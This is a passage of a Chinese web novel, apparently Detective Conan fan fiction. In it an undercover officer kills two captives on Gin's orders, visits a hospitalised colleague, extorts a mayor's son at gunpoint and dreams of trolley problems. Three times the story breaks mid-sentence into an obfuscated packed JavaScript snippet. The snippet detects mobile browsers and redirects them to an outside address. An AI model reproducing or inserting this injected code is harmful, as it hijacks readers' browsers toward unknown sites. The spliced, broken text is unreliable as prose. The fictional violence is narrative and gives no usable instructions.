别的事情与他无关,他只是想确认珀洛塞可是不是美国那个财团的人,昨天晚上情况不利,他没敢直接下手。而今天他就是打算让这人彻底死在这里———和那个鬼地方有关的人都得死,不管有没有确切的证据。 疑罪从有。 但是现在…… “胆子很大啊,珀洛塞可。” “如果你指的我给你说实话,那是因为我没办法,如果你指的是我去偷解药,我不相信你被这种东西控制了也会无动于衷。” 青年同样挽起自己的衬衣袖口:“怎么样,琴酒大人,我一没偷到药,二给朗姆找了麻烦,三给你递了我的把柄。” “我都这样了,你考不考虑留我一命?” “作为执行组的总负责人,我的消息怎么是整个组织里只有伏特加一个人忠于你啊?” “哦?”杀手眼眸微眯,枪在手中转了一圈,金属折射的冷光晃过。 “你想说什么?” “大人。”珀洛塞可弯了弯眼睛,“人在屋檐下,不得不低头。” “我在求职。” “需要我把简历发您邮箱吗?” 30.第 30 章 081 琴酒在组织里和朗姆那个二代平起平坐。 按照他们的情报,他从不刻意培养自己的势力,不接触官僚权利,没有背景,乌丸莲耶又对他有相当高的信任度。 这就很奇怪了。 组织豢养的性情不定的杀手有很多,乌丸莲耶为了防止这帮人反过来攻击组织,又是威逼利诱,又是药物控制。 但是琴酒看起来并没有接触过THK系列的药物,没有亲属,更不贪图名利。 乌丸莲耶为什么会这么信任他?他在组织里这么拼命一路杀上来又是图什么? 总不能是图好玩吧———这人看着一天天苦大仇深的。 珀洛塞可在猜这人一定有自己的目的,这个目的不能被组织的人知道,而现在,自己作为一个试图偷解药被抓包的叛徒预备役,这个把柄就会是接触琴酒的好机会。 他也不需要对方全权信任他,他只需要一个机会。 让炸弹轰鸣的东西其实可以只是一点小小的火星。 他在赌哪怕是琴酒也会需要有人在前面帮忙挡刀。 感觉在琴酒视角里自己就是为了活命,脸都不要了。 不过也事实也确实如此。 但是无所谓了,这是他在这几分钟里能想出来的最好的办法。 要是都这样了这人还要冲上来杀了他,他也只能对方爆了。 “求职?”面前这男人眼睛中闪过戏谑的神色,“你的职业目标不是组织高层吗?” “这么快就换目标了?” 珀洛塞可哽了一下,他现在很想回去给当时乱编瞎话的自己一拳———怎么所有人都在翻那天的旧账。 他转移话题的水平怎么样他不清楚,不过现在他倒是想明白了自己编瞎话的水平很烂。 超级烂。 “我总得先活着出去吧。”他笑容不变,看着琴酒手上的那把枪,虽然没有指着自己,不过那也只是对方动动手的事情。 “你可以现在就去通知医疗组,我以后所有的缓释药都由你发放,你也可以随便设置一个什么定时邮件,如果我背叛你,你就把我偷解药的事情直接发给boss,我相信他不会让我死得痛快。” “这份筹码够吗?不够的话你还可以随意加。” “怎么样,琴酒?” 珀洛塞可依旧背靠着门,双手环抱在胸前,语气一如往常。 琴酒没有回答这一段长篇大论,面前这人的黑瞳和当年一样看不出情绪。 他转身向后走了两步,站在那个手脚被扭曲得不成样的人的身边,半蹲下身,伸出刚刚擦拭干净的手扯住了地上那人的头发,露出人的整张脸。 “知道这人是谁吗?” 珀洛塞可看着这人的左眼——还是他昨天那只刀片刺瞎的:“不是组织的交易对象吗?昨天鬼叫的那个。” 不过现在看起来是完全叫不出来了。 “和波特酒一个集团的吧,毕竟你看起来也在怀疑我和波特酒是一伙的。” 杀手又把手上的人“嘭”一下砸丢在地上,不耐地看了一眼自己手上的血迹:“猜的不错。” “不过不完全是。” “他还属于美国国立精神卫生中心,这个地方的管控权直属于FBI,而他作为研究人员,因此持有FBI协作公职人员的资质。” “FBI?精神卫生中心?”珀洛塞可眯了下眼睛,这个世界精神药物堪称泛滥,直觉告诉他这地方并不是什么好东西。 没有人说过FBI里全是好东西吧。 “难怪昨天一放就放倒了,也不敢在交易现场直接和我见面,还跑去用不入流的炸弹。” “买凶杀人而已。”琴酒重新擦净手上的血渍,戴回了皮革手套,作为杀手,他同样也觉得炸弹真是不入流中的不入流。 给暗杀对象反应时间,还容易把自己搭进去,除了杀伤力大,没有一点优点。 “那边那个呢?”青年又看向另外一边的人,也是同样的惨状,甚至那个人目前为止除了呼吸声,一点别的动静都发不出。 其实单纯的逼供完全不用这样。 反而更像是琴酒个人在……泄愤? “组织的叛徒,昨天的任务情报是他泄露的。”杀手整理好自己挽起的袖子,似乎是宣告这一场审判的尾声,“不过你不需要知道这么多。” 他后退至墙角,对着门边的珀洛塞可说道:“想活着出去?” “那就杀了他们,珀洛塞可。” “你来杀。” 082 由他来杀。 珀洛塞可听到这话,搓了搓指腹。 脏自己的手,定一个立场,加重一下筹码,而且一人是FBI,另外一人身份不明。 很奇怪吧,救人和杀人竟然是一件不矛盾的事情。 青年抬头看着墙角,那个一直关闭的监控摄像头在琴酒话音落地的时候被突然开启,红光正在闪烁,而琴酒这人已经退进了监控死角,现在他还有什么不明白的。 琴酒想把他定进一个什么立场呢? 顺着这条路走下去就知道了。 珀洛塞可走到墙边,抽下刚刚被钉在墙面的陶瓷刀片,这种材质比金属脆弱很多,被自己这么一弄,最锋利的刀尖已经缺了个口,无法发挥出最好的效果。 如果他现在想直接把刀片飞进琴酒的脖子,那可能这个刀刃只能刮开对方的衣领。 而且早就在他拿到刀片的时候,琴酒那把伯/莱/塔已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486342|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无声地对准了他。 他挑衅一样地正面朝着监控摄像头勾了下唇角,然后转身蹲下,手一晃,地上那人的喉管已经被割开,血液飙出,又溅到了脸上。 青年闭了闭眼,用手背蹭去了脸上温热的液体,走去了另一人的面前,对方也看到了刚刚那一幕,努力想点说什么,却只冒出来了咕哝的字眼。 他看着这人的眼睛。 精神力值下降至60% 白光一闪,平稳而微弱的呼吸声消失了,取而代之的,是喉间混着血水的、令人不适的“嚇嚇”抽气声,在几下挣扎后,最后一点声响也彻底消失。 这人竟然还真的是组织的人,他差点就要以为琴酒绑了一位公安骗他了———所以这么看起来,自己这一层的身份确实是安全的。 排气扇在转动,房间里只剩下了叶片发出的冗长噪音。 他面前的人的眼睛没有合上。 监控又被关闭了,珀洛塞可扫了一眼器械,朝着作为观众的琴酒晃了一下手中带血的刀片。 “啪。” 一声脆响,陶瓷刀片被毁成两半,青年松开手,两片已经不能用的东西随即直直地掉在地上。 他张开空无一物的双手,袖口依旧被高高挽起,比起刚刚不过多了不少的血,除非会魔法,否则不可能在手中突然变出来什么具有杀伤力的武器。 命是最好用的筹码,不管是自己的,还是别人的。 “可以了吗?”珀洛塞可依旧挂着虚假的微笑,脸上的血迹未干,反而衬得这个笑容有点瘆人,“我的入职考核能不能评个优?” 他朝着琴酒走了两步:“大人,您什么时候通知我入职呢?” 琴酒垂眸,视线放在了地上掉落的刀刃上,那上面仍沾着血,发出了一声低笑。 一把好用的刀,但是被持刀人亲自掰断。 甚至于说,那把刀就在地上,他可以随意操控。 他突然明白那些人研究药物的意义所在。 “走了,珀洛塞可。” 青年跟在后面,地上的尸体有点挡路。他瞥了一眼,挑起一个问句:“所以一个研究人员为什么亲自跑来引爆炸蛋?他看起来可是完全的外行。” 昨天这人可是确确实实没有一点格斗技术,枪也是随便乱开的,真的就是把全部身家压在了那个炸弹上。 “他说他们雇的人突然来不了了。” 琴酒又套上了那件黑色大衣,打开了门:“真是一群废物。” 门外还是一如来时的场景。 竹取无尘重新拿回了自己的手机,按进了通讯界面。 【手机通讯】Prosecco:事情解决,没问题了。 【手机通讯】Scotch:收到。 31.第 31 章 083 对方很快就回了消息,也许从他出门之后,那位公安就一直在等他的通讯。 竹取无尘顺手把消息彻底删除,确认没有任何恢复的可能,抬头看了一眼琴酒的背影。 这人今天绝对是想杀了他的,而且同时也表明,琴酒真的彻底摸清楚了自己的手段。 当年自己应该苦练体术才对——但是一个月内确实学不了这么多东西啊! 那现在自己在对方眼里会是一种什么形象呢?他穿回自己的外套,思索地敲了敲口袋中的手术刀。 野心家?贪生怕死之徒?亦或是可以被随便操控的利刃? 而且他还很好奇一件事。 “所以你这次怎么不用药了?”珀洛塞可加快了两步,跟在了那人身边,“我还以为我一进来就能又闻到那股让人作呕的味道。” 琴酒撇了旁边人一眼,发出一声嗤笑:“会有区别吗?” 青年微微颔首:“倒也是。” 确实不会有太大的区别,但是这句话由琴酒说出来,含义就不太一样了。 “说到这个。”今天的琴酒听上去心情格外不错,那人停在了保时捷365A的车门前,伏特加已经在驾驶座等着了,他转头对着后面的珀洛塞可说道,“你以后的缓释药来找我拿。” “好的,大人。”珀洛塞可顺手把手机放回口袋。 “那现在没事了?没事的话我可要回去补觉了。” 琴酒也真是把睡眠进化掉了,明明十个小时之前他才抓到交易对象,十个小时之后他就把交易对象和叛徒全部审完并且清算了。 “随你去哪里。”杀手拉开车门坐了进去,手肘随意搭在摇下的车窗边沿,他侧过头,那双绿眸里没什么温度,但接下来的话语却带着几分不容置喙。 “不过——” 青年的视线落在对方搭在窗沿的那只手上。黑色皮革紧贴着手部线条,而就在那两指之间,正漫不经心地夹着一枚陶瓷刀片。 是他钉在墙上的另外一枚。 珀洛塞可眯了眯眼。 “有任务的时候,”杀手的声音再次响起,平静却带着冷意,“你得随叫随到。” “记住你说过的话。” “呵。” 这下他真的是发自内心地笑了。 “当然没问题。” 084 青年目送琴酒的车辆离开,抬头看了眼深秋阴沉的天。 白得有些刺目。 他总觉得这短短两天里发生了很多事情,无论是昨天下午看到降谷零横跳大楼,还是昨天晚上自己也从三楼楼上跳了下来。 按照诸伏景光的说法,那位金发公安现在正在警察厅名下的医院躺着。 竹取无尘一路把车开进了昨天自家同事给自己的地址,出示了公安证件之后走进医院内部。 他掂量了一下自己手里的皮革夹,金属质的警视厅徽章确实很有份量,上方的蓝底证件照也确实是他三年前的样子。 那张比他现在看着小一点的照片下是自己的姓名,尽管自己的黑色衬衣衣角上还沾着血,尽管就在刚才,自己在警视厅方一无所知的情况下杀了两个人———但是他目前确实还是一位公安警察。 难以言说的思绪纷纷扰扰,青年深吸了一口气,收回证件,敲响了面前病房的房门。 “请进。” 竹取无尘推开门,病房内还是医院那股独有的消毒水味,屋内没有开灯,但是窗外的自然光已经足够明亮,整间屋子充斥着难得的安宁。 当然,如果这里不是病房的话就好了。 守在床边的萩原研二闻声抬头,见到来人,脸上浮现一个温和的笑容。他站起身,收拾了一下手边的杂物,轻声道:“那我先出去透口气,你们两个慢慢聊。” 随着那人走出门,寂静又重新掉了下来。 青年拉开一边的椅子坐下,看着床上那人,笑了笑:“身体没事了?” “轻微脑震荡,晚上就能出院。”降谷零的视线从手里的资料上转移开,对上了一旁人的黑瞳,“怎么突然过来了?” “我的联络人让我没事了之后过来抽个血,刚好查到这家医院同样也属于警视厅。” 竹取无尘环视了一圈病房,往椅背上靠了靠:“而且我觉得有事和你当面说比较好。” “你是指你失忆那件事?”公安捋了捋耳边的碎发,“如果你指的是这件事,其实你没必要特意来一趟。” 自家幼驯染在昨天晚上回来之后已经全部告诉了他这人的说法,虽然仍然有疑点,但是可信度很高,毕竟他表现出来的样子可是完全不记得他们这几位同期好友了。 这人要是真的是间谍特工,会出这么大的纰漏吗? 那么失忆就很有可能是真的———不过到底是怎么失忆的。 “所以现在彻底不怀疑我是特工了?” “竹取警部。” “我相信目前在这里坐着的只有我和你两位公安。”那位公安挑了挑眉,半侧过头,目光落在身旁的人身上,语气带着几分若有似无的调侃,“再说了,我总不能把你给抓了———” 血腥味。 突如其来的气息穿透了消毒水的味道窜进鼻腔,降谷零一顿,眉头微蹙,说出口的话转了个弯。 “你又受伤了?” “嗯?”竹取无尘被话题的跨度弄得怔愣了一下,随即反应过来,在自己衣服的臂弯处嗅了嗅,刚刚他没有穿着这件外套进刑讯室,再加上自己在那里待了太久,嗅觉都有些麻木,闻不太出来了,还以为这件外套能盖住衬衣的气味。 看起来是盖不住啊。 “抱歉,想着反正是来见你,就没有换衣服。” “组织的任务,去了一趟刑讯室,血腥气难免重了一点,不是我的血。” “刑讯室?”降谷零想到这人昨天说自己有任务,“介意详细说说吗?” 青年无所谓地耸了耸肩:“不是什么大事。” “事情很简单,琴酒看到了我那天晚上留下的刀口的痕迹,认定了我去过那个实验基地,又是试探我是不是和波特酒一伙的,又是让我进去看他怎么折腾人的。” “昨天的任务抓回来了个活口,相对地那个叛徒也被供出来了,不过这都不是重点,重点是最后我的嫌疑解除了,不然现在我也不能坐在这里。” “总之事情解决了。” “………” 金发公安沉默地看向对方这个仿佛无事发生的笑容:“你这省略的过程也太多了。” 琴酒的怀疑是这么好处理的吗? “但是事情解决了。”青年对上面前人蓝灰色的眸子,“而且解决得很完美,琴酒短期内不会再找我麻烦,解药的事情也瞒过去了。” “所以你在明知琴酒怀疑你的情况下,他让你去做任务,你也就真的去了?” 降谷零想到了昨天夜里幼驯染说的话,这人根本就没有告知说他今天要做的是琴酒给出的任务。 “哪怕这很有可能是个陷阱?” “我想我没有选择的余地。”青年摇了摇头,黑瞳中看不出情绪,“我不能不去,也不能就为了我一个人,大家倾巢而出把那个据点围了吧?” “如果琴酒怀疑我是公安,以此为由引出公安的人围控据点,然后出于报复在据点里面放置炸弹怎么办?” “他那种人做得出来这种事,我不确定他到底怀疑我是哪一方的人,我总得进去看看到底是怎么回事。” 降谷零觉得这人真的有很严重的个人英雄主义倾向,总想着保护所有人———但是话又说回来了,他们之中,谁又不是这样。 他又怎么去责怪这些人?就像他根本没有理由去责备自家幼驯染那天冲自己开的那一枪一样。 “就算琴酒想杀了你?” 竹取无尘垂眸,兀自笑了一下:“那就让他杀。” 不带感情色彩的话语让降谷零又重新审视着面前的人。 “而且现在躺在病床上的是你,降谷警部。” 青年抬眼,依旧带着笑意地看着同事:“你昨天飞跃大楼的场景可比我这个不确定的陷阱危险多了。” “你就没想过自己会出事?” 公安听到这话,表情柔和一瞬,看向门上玻璃窗一边露出的一小块衣角———萩原研二还在门口站着,其实上午另外几个全都来过,但是又全部被催回去上班了,只剩下了今天轮休的萩原。 “出事了也没关系。” “你这话最好别让你这几位朋友听到。”青年顺着公安同事的视线看去,心下了然,“我想他们应该不会想让你出事。” “这句话应该同样反送给你。”刚刚这人还说琴酒要杀他就随便杀来着。 “情况还是不太一样的。” 门外站着的人察觉到了视线,从玻璃窗口探过来半个头,朝着他们眨了眨眼。 “没什么不一样。”降谷零朝着门边的好友挥了挥手,收回视线。 话题进入轻松的范畴,竹取无尘自顾自地拿起一旁的苹果削起了皮———但是这里为什么会有一个堆成了尖尖的苹果山啊。 “所以你怎么住院了还在加班。” 他意有所指地看着一边被降谷零放下的资料。 金发公安顺势翻了翻资料:“佐藤明死了之后,组织在北见市的势力出现了一大个缺口,他们好像目前在计划去接近最近新上任的上野惠理,我这边正在安排人去处理。” 上野惠理,原众议院议员,北见市新上任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505099|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的市长,不在警视厅的管辖范围内。 “你们要管的事情确实比我们多多了。”竹取无尘叹了口气。毕竟警视厅只负责东京都内的事务,远在北海道的事轮不到他们来插手。 “不过他们没有直接安排人下毒就行。”青年递过那只已经削好皮的苹果,“你现在能吃水果的吧?” 降谷零从对方手里接过果子,道了声谢:“目前还没有发现这种情况。” 他接着说:“你也收到我下属的联络方式了,如果接下来有什么任务,而我不在日本,你又忌惮警视厅的人,可以直接联系他们给你直接提供一点警察厅的资源。” 青年眼中闪过一丝惊讶:“你这是给我分了你在警察厅的权限啊。” “这不违规?” “违规又怎么样。”公安轻笑。 警察厅违规的事情又不差这一件。 “那个…降谷先生,”风见裕也敲了敲门,打断了二人的违规对话。 他站在门口,本来想直接进来,但又看见里面坐着别人,退也不是进也不是,就这么半边身子卡在了门口。 降谷零看了一眼门口的下属:“进来,没事的。” 竹取无尘的视线放在了来人手里抱着的文件上:“你还真是忙。” “那我先走了,还要下楼抽血来着。” 而且他还得去买套衣服———自己身上这一套又报废了。 这个应该也能找组织报销的吧。 他是真的没什么钱,作为公职人员,组织就算发了再多的工资,他也不敢明目张胆地用。 公安把手上的苹果放在了一边,接过了又一份全新的文件,对要出门的人道:“路上注意安全。” “降谷先生,昨天那个液\体炸\弹已经……”风见裕也递过了资料,话音和道别声一前一后地落进那个已经快走出房门的人的耳里。 青年脚步一顿。 “液\体炸\弹?” 他突然侧头和还在一边站着的萩原研二对视了一眼。 “你们昨天拆的是个液\体炸\弹?” “两边是液体,中间是倒计时的那种?” 萩原研二不明所以地看着对方的黑瞳。 “嗯?” 085 原本只有降谷零一个人加班的现场变成了四个人一起加班。 “你说你昨天晚上遇到了一个一模一样的东西?”金发公安看着去而折返的同事,揉了揉涨疼的太阳穴,他昨天也只是恰好和幼驯染遇到了几个同期,又恰好遇到了这件事,原本以为这只是一个简单的爆炸案。 竹取无尘端详着手中的炸弹图纸:“一模一样,我敢百分百确定。” “然后呢竹取,你把炸弹拆了?”萩原研二才同对方搭了两句话,刚交换完姓名,就听到对方坦然说出本名,着实吓了他一小跳。 “我哪里会拆这个东西。”青年又把手上的资料翻了一页,“我把门锁机关破开了,直接跳下来的。” “…………?” 萩原研二和降谷零同时噎了一下,盯着一边坐着的人。 “你刚刚说你在三楼。” “啊……楼下刚好是草坪唉,而且降谷你不也跳了吗?”青年又示意了一下在病床上坐着的人,重复了一遍刚刚说过的话,“现在在病床上坐着的是你唉。” 降谷零再次听到了这句话,已经彻底无力腹诽。 他们两个的情况在这一层面完全不一样好吧! 当时他还有四个好友在边上的! 这人是在琴酒的狙击镜里面往下跳的,他要是真受了伤,难道指望琴酒给他送医院吗! 那人不给他一枪就不错了! 而且他坐在这里也不是因为跳楼跳的啊! 公安深吸一口气:“ct检查就在医院六楼,可以走报销。” “全额报销。” “哦呀。”竹取无尘弯了弯眼睛,“那我一会也去查一个。” 不过……青年低头,资料上明晃晃写着的,昨天降谷零他们进入的那一栋大楼底下,是一座废弃的医药实验室。 昨天那个研究人员雇的人没有来是因为被诸伏景光击中了肩膀。 而那帮人想杀的也不一定是他。 “昨天那个人抓到了吗?”他问一边的风见裕也。 对方摇了摇头:“昨天那个人身上还有炸弹和枪械,在市中心引发了不少混乱,我们的人跟丢了。” 听到这话,竹取无尘靠在椅背上盯了半晌天花板。 “降谷警部啊。” 不久的安静后,他这么开口道。 “你的日本好像进雇佣兵了。” 降谷零也是这么认为的。 自己的太阳穴好像更涨了。 32.第 32 章 086 “小朋友,就玩这种东西多没意思。”柏青哥店内五颜六色的光晃着,嘈杂声盖住了自己的声音,他走到目标旁边站定,推了推眼镜,嗤笑一声。 “你管老子的。”明显还是国中生的人吸了口烟,“你谁啊?” “路过的好心人?”那人看着一边的不良少年,“要不和我去玩点好玩的?” “什么阿猫阿狗都想来接近本少爷。”他吐了口唾沫,“滚开听见没有?” “哈。”青年装模作样地拿出手机,“好吧好吧,看起来有人今晚要在这里打一晚上柏青哥了。” “Elkord,今天人不够,散了吧。”他把电话送到耳边,对那边的人这么说道。 “喂那谁,站那。”一旁操控着游戏机的少年明显被这番话吸引了注意力。 “Elkord?最近打电游的那个明星?” 上钩了。 珀洛塞可弯了弯眼睛。 087 “把人按着。” 根本没有给上野拓一点反应的时间,肩膀就被人从身后猛地一压,一股蛮力将自己狠狠按向地面,脸颊贴上粗糙的水泥地,灰尘的气息钻入鼻腔。 “放开…放开我!你们这是犯法的!你们这是犯法的听到没有!Elkord你就这么看着吗!” “他就这么看着。” 珀洛塞可挥了挥手,让一边的人先全部出去。 “原来你会好好说话啊。”他踱步到少年的面前,冰凉的声音掉在地上,“那现在少爷你可以想想怎么把欠我的钱还来了。” 上野拓依旧在挣扎,他只能看见面前人锃亮的靴尖和大衣衣摆,他大叫道:“你出千!你是故意的!” “那又怎么样?你可是自己立的字据,需要我拿给你看看吗?” “你———”少年想起身,却又被身后的人一脚踩下,所有的挣扎都变成了无用功。 “告诉你!你这是犯法的!我妈是市长!等老子出去了,肯定饶不了————” “砰!” 枪声突然响起,吓得在一边挣扎着怒骂的少年一颤,突然噤声。 “你妈是市长?”声音带着笑意响起。 珀洛塞可顺手拽过一边的椅子,凳腿在地上刮出刺耳的摩擦声,他随意地坐下,觉得这孩子真的是吵死了:“听出来这是什么声音了吗?你妈的名头响还是这个东西响?” “犯法?” “把他的头拽起来。” 一只大手立刻粗暴地揪住上野拓的头发,猛地向上拉扯,少年只能被迫抬头,从这个视角看过去,他只能看见对方不染一尘的鞋底。 他的视线艰难上移,那人正漫不经心地把玩着手中的枪械。 珀洛塞可悠闲地坐在高腿凳上,一条腿叠在另外一条腿上,居高临下地看着地上的少年,冷声道:“听不出来总该认得出来吧,好话听不明白是吗?” “现在还犯法吗?” “不…不犯法…”对方的鞋尖几乎快触碰到自己的额头,上野拓的气焰一瞬间灭了很多,头晃得仿佛一只拨浪鼓,声音已然带上了哭腔。 “还吵吗?” “不…不吵了……你…你别杀我…你……我妈真的是市长…你要钱…她有…我知道…她有很多很多钱。” “是吗?”他等的就是这句话。 青年歪了歪头,丢给了地上的人一只电话。 “那就快点让你妈亲自过来把钱补上。” 上野惠理养了一个好儿子啊。 088 【三天前。】 其实他现在应该在自己的安全屋睡觉,或者在随便什么地方看风景。 快要入冬了,今天难得是一个晴天。 而现在他竟然就在这么个地方生生坐到了晚上。青年转头,看着旁边坐着的一堆犯罪分子,觉得自己一阵头大。 在基本上确认了那位炸弹犯的目标其实是组织之后,他和降谷零把调查方向的重心对准了组织———这就代表说,他不能坐以待毙。 总得多出现在组织的据点打听一下情报。 “你最近好像很闲。”琴酒一进酒吧就看见了那位除了做任务基本不怎么露面的珀洛塞可正坐在一边。 珀洛塞可推了杯酒水送到这位直接坐在自己对面杀手的面前:“不是你让我随叫随到吗。” “现在你都不用叫,我就到了。” 琴酒审视了对面人两秒,并未触碰面前的酒水,而是伸手探进大衣口袋内。 青年的眼神随着杀手的动作微动,但是人却依旧松弛地靠在沙发上。 下一秒,琴酒只是掏出了烟盒,抽出一支细长的香烟叼在唇间,“咔哒”一声,金属打火机窜起一簇火苗,暖黄的火光堪堪照亮了那人的下颚。 灰白的烟雾在吐息之间弥漫,有些遮挡视线,模糊了人本就幽暗的眼神。 “你觉得我会信你的说辞?” 青年听到这话,轻叹了一口气:“我总得来打听一下那天那个炸弹是谁放的吧。” “当然,如果你能直接告诉我的话,我现在就能愉快地消失在你的眼前,然后立刻去找那人的麻烦。” “你甚至可以给那个人选个死法,是不是很划算?” “那你得失望了。”烟雾升腾盘旋,呼吸间充斥了尼古丁的气味,“那人用的假身份和美国那边的财团做的交易。” “不过不介意让你知道的是,对方是俄国人。” 要不说琴酒真的是好队友呢。 珀洛塞可听完了这话,点了下头。 虽然对方也存了借刀杀人的心思,不过这就够了。 在这一点上,他们有同一个目的。 青年顺势拿起了自己面前的酒杯,指尖擦拭着杯沿上凝结的水珠,正要说点什么,就看着另一侧有个男人走了过来。 “组织一下死了两名代号成员,我们执行组的总负责人也还有心思在这里坐着吗。” 琴酒的人缘是真的差。 听着这比他说话还带刺的嘲讽,青年撇了一眼走过来的扎着玉米辫的男人,又收回视线,晃动着自己手里的酒杯。 “做你自己的事去,宾加。”杀手甚至没有抬头看来人,帽沿挡住了部分的视线,将整个人笼在阴影里。 “什么叫一下死了两个代号成员?”珀洛塞可抓住了话题的重点,直接询问了对方。 “你不知道?”宾加打量了一下这个自己从未见过的人,“死的是龙舌兰和代基里。” “龙舌兰做任务做到一半被炸死了,真是笑死人。” “所以gin,龙舌兰这个任务空下来了,我可不想处理这堆破事,你自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当然是你说什么就是什么。” “我的记性还没有差到忘了自己那天说过什么,大人。” 珀洛塞可放下空杯,搁在面前的木桌上,拿起不算厚的文件,径直离开了座位。 089 自己被琴酒算计了一笔。 青年研究着这份自己从酒吧带出来的文件,盘算着十几天前发生的那一堆事情。 不过好消息就是,那人以为他把『珀洛塞可』钉到了一个不完全属于组织的立场,但是有没有一种可能,『珀洛塞可』本身一开始就不属于组织呢。 最后到底是谁算计谁还不好说吧。 他看着面前自己给公安方发去的报告,组织的任务上,“上野惠理”这个熟悉的名字由为扎眼。 他直接给自己的好同事打去了一通电话。 “喂,降谷,你们对上野惠理这件事是打算怎么处理啊。” “这个任务突然到我手上来了。” “之前是龙舌兰负责的?” 竹取无尘皱了下眉:“不…不是他出了什么差错。” “说的是这个人做这个任务做到一半被…炸死了?” 33.第 33 章 090 【“电车难题”】 “所以我就是和这个电车杠上了是吗?”他看着自己手中的拉杆。 『问题一。』 黑暗里晕起光斑,震动如同从地里生长出一样,带来阵阵不适的晕眩感,那辆电车行将就木地摩擦着铁轨发出扭曲的声响。 一种巨大而沉重的嗡鸣。 两条铁轨,一边是五个人,一边是一个人,而人的肉/身从不可能抵抗住如此这般的金属机器。 青年拉下拉杆,车厢如期转向。 血色掉进深处,什么也看不见了。 『问题二。』 刚刚驶过的电车又再次碾着令人牙酸的声响回到原点。 两条铁轨上,一共六个人,一边是五名『坏人』,而一边是一名『好人』。 “你怎么区分好和坏?”青年觉得这个问题真的很好笑,“你怎么评判生命的重量?” “我又怎么配审判他们?” 『那如果今天这五个人不死,明天他们就会去杀死更多的人呢?』 他看着面前的这行字,握着拉杆的手顿住了。 车辆呼啸驶过,带起一阵冷风,风里是哀嚎的味道。 这次的电车没有转向,那位顶着『好人』标签的人走下了轨道,和青年错身而过。 其实他不认识这个人。 『问题三。』 “差不多够了吧。”声音里带着不易察觉的干涩,却坠入脚底的黑暗中,一切都没有回响。 那辆回到原点的电车的灯光灼烧着眼睛。 青年转头,这一次金属电车依旧直直朝着前方驶去,但是轨道上人影并不明显,那里可能有人、可能会有很多很多的人、也可能什么都没有。 铁轨的另外一边,是那天晚上他曾经见到过的,那个代号是干邑的男性。 一个一模一样的,甚至是被美化了的选择题。 电车转向,那人死得无声无息。 『问题四。』 “我说。”脖子僵硬地扭了一下,瞳孔中倒映了那一辆再次回到原点的电车,他觉得面前的铁轨被拉扯得很长,长得让他觉得自己离那辆电车很近又很远。 “差不多够了吧。” 他看向一边,这一次铁轨上只有两个人———一边是阿蒂斯的军官,另一边是瑟克尔的军官。 青年紧紧皱起了眉头。 『如果不仅仅是这样呢?』 人影闪动———穿着瑟克尔军装的成年人消失了,变成一位无辜的,可能只有五六岁的,在瑟克尔平民区长大的孩子。 漆黑的瞳孔骤缩。 手中的拉杆突然变得滚烫一样,青年猛地松开手,后退了两步,背后是一面没有尽头的墙。 铁轨很长、很长。 长得他有足够的时间看清楚铁轨上的人都是谁。 阿蒂斯的军官也消失了,取而代之的是可能在流亡途中的家人,母亲正护着怀里的孩子,可是那孩子高举起了枪,对准铁轨另一侧手无寸铁的瑟克尔居民。 枪声还没有响起,一道异能光束就已经打穿了举枪孩子的头颅,那位母亲失声痛哭,她战栗着,抱着她孩子已经了无声息的躯体。 片刻之后,她也拾起了枪械,和她的孩子一样,对准了对立方———那一面有军官,但是也同样有平民,同样有一位护着孩子的母亲。 铁轨太长、太长了。 青年翕动着嘴唇想要说点什么,喉咙却被死死封住,所有的话语都堵在了胃里,影子笼罩着他。 人影又消失了。 那天死在他手上的两个人、那些组织的人、公安的人、那些他不曾认识的人,上辈子的,这辈子的人一次又一次地出现在铁轨上。 直到最后他看见了那人。 那人转身,黑暗太浓了,他分不清楚这到底是谁。 青年伸手想去触碰拉杆,可是拉杆也消失了,地面在错位,他歪了一下身子,发现自己同样踩上了铁轨。 刺目的车灯代替了周身的轰鸣,他试图抬手挡一下向他呼啸袭来的亮光。 那个人对他笑了。 他们长得一模一样。 091 凌晨4点36分。 一阵心悸,床上的人猛然惊醒,冷汗带着衣衫贴在后背,梦里的光亮融化在了现实的夜晚中。 弯月模糊地亮着,夜空干干净净。 初冬的凌晨,水汽不少沾染在窗上,夜色这时突然像无声深海,一切都归于安宁。 在不久之后太阳就又会升起,而明天照常到来。 一边的电脑跳出通讯提醒。 【电脑通讯】Z:下午两点,风间来直接和你见面,地点在附件中给出。 【电脑通讯】C:收到。 092 “竹取先生,降谷先生他今天有事不方便来,所以由我和您直接见面。” 咖啡厅门口已经立着了暂停营业的立牌,竹取无尘和风见裕也坐在房间深处,确保外界看不见二人的情况。 “我说了你不用叫我竹取先生……唉算了你想怎么叫就怎么叫吧。”青年有些无奈,“所有的资料都带过来了?” “啊,对的竹取先生,这里是所有和上野惠理有关的资料,以及…这一张是广田雅美的资料,他说这个您也需要。” 竹取无尘看了一眼那张写着当时和他一起做过任务的“诸星大”女友的信息的纸张:“好,放着吧,我一会看,现在当务之急是上野惠理的事情。” 